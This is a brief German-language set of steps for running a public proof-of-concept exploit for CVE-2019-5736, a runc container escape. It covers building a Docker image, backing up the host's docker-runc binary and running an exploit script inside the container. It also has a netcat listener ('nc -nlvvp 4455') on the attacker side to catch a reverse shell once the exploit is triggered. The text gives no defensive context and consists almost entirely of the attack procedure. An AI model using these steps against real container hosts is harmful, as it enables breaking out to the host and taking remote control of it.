- (1). Kompilieren Sie stage2.c und platzieren Sie es im selben Verzeichnis.
- (2). Erstellen Sie das Dockerfile und führen Sie docker build -t cve . aus.
- (3). Führen Sie docker run -d -t --name cvetest cve aus.
- (4). Erstellen Sie eine Sicherungskopie der runc-Binärdatei mit cp /usr/bin/docker-runc /usr/bin/docker-runc.bak.
- (5). Führen Sie docker exec -it cve /bin/bash aus.
- (6). Führen Sie im Docker-Container cd /root && ./run.sh && exit aus.
- (7). Warten Sie auf der Angreiferseite mit nc -nlvvp 4455.
- (8). Greifen Sie anschließend erneut mit docker exec -it cve /bin/bash auf den Container zu.
Quelle: https://github.com/agppp/cve-2019-5736-poc